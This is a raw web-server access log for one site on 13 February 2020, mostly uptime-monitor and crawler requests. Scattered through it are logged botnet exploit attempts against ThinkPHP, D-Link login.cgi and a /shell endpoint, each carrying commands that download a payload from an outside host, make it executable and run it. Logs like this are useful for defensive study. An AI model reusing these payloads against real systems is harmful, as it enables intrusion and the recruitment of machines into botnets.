212.91.246.72 - - [13/Feb/2020:18:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.188.213 - - [13/Feb/2020:18:13:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:18:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.74.51.129 - - [13/Feb/2020:18:17:19 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.74.51.129 - - [13/Feb/2020:18:17:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [13/Feb/2020:18:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.51.245 - - [13/Feb/2020:18:21:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:18:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.90 - - [13/Feb/2020:18:28:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:18:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.56 - - [13/Feb/2020:18:37:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:18:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.118.243.4 - - [13/Feb/2020:18:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.72.77.190 - - [13/Feb/2020:18:40:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
94.69.89.9 - - [13/Feb/2020:18:40:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
79.31.56.191 - - [13/Feb/2020:18:40:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:18:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.27 - - [13/Feb/2020:18:43:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:18:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
207.46.13.54 - - [13/Feb/2020:18:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [13/Feb/2020:18:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.118.101.246 - - [13/Feb/2020:18:50:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:18:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [13/Feb/2020:18:50:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [13/Feb/2020:18:50:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [13/Feb/2020:18:50:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [13/Feb/2020:18:51:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:18:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [13/Feb/2020:18:51:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:18:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.127.97 - - [13/Feb/2020:18:54:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
199.58.86.211 - - [13/Feb/2020:18:55:26 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [13/Feb/2020:18:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.58.86.211 - - [13/Feb/2020:18:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [13/Feb/2020:18:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [13/Feb/2020:18:58:25 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:18:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [13/Feb/2020:18:58:28 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:18:58:51 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:18:59:01 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:18:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [13/Feb/2020:18:59:39 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:19:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [13/Feb/2020:19:00:35 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:00:39 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:00:42 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:00:45 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:01:02 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:01:04 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:01:07 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:01:09 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:01:13 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:01:19 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:19:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [13/Feb/2020:19:01:31 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:01:41 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:01:53 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
111.243.47.42 - - [13/Feb/2020:19:01:56 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
5.101.0.209 - - [13/Feb/2020:19:02:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [13/Feb/2020:19:02:22 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:19:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.15 - - [13/Feb/2020:19:05:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.27.133.127 - - [13/Feb/2020:19:09:52 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [13/Feb/2020:19:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.133.214 - - [13/Feb/2020:19:11:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.84.252 - - [13/Feb/2020:19:11:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.224.54.198 - - [13/Feb/2020:19:12:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [13/Feb/2020:19:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.49.187.144 - - [13/Feb/2020:19:14:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.137.182.73 - - [13/Feb/2020:19:18:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [13/Feb/2020:19:18:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.71.182.143 - - [13/Feb/2020:19:20:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.200.210 - - [13/Feb/2020:19:20:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
176.114.224.102 - - [13/Feb/2020:19:21:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [13/Feb/2020:19:22:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.34 - - [13/Feb/2020:19:22:45 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [13/Feb/2020:19:22:59 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [13/Feb/2020:19:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [13/Feb/2020:19:23:42 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.34 - - [13/Feb/2020:19:23:56 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [13/Feb/2020:19:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.155.102.43 - - [13/Feb/2020:19:24:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:19:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
